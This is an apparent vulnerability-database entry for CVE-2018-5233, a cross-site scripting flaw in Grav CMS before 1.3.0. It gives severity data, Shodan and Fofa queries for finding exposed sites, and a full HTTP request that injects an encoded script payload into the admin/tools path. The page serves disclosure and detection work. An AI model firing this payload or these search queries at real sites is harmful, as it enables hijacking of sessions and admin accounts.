🔙 목록으로 돌아가기

CVE-2018-5233: Grav CMS <1.3.0 - Cross-Site Scripting

TitleGrav CMS <1.3.0 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactAttackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
RemediationUpgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.18828
CVE IDCVE-2018-5233
CWE IDCWE-79
Shodan Queryhtml:"Grav CMS"http.html:"grav cms"
Fofa Querybody="grav cms"
Tags cve cve2018 xss grav getgrav vuln

🔍 Vulnerability Description

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.

🌐 HTTP Request

GET /admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-5233.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-5233.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A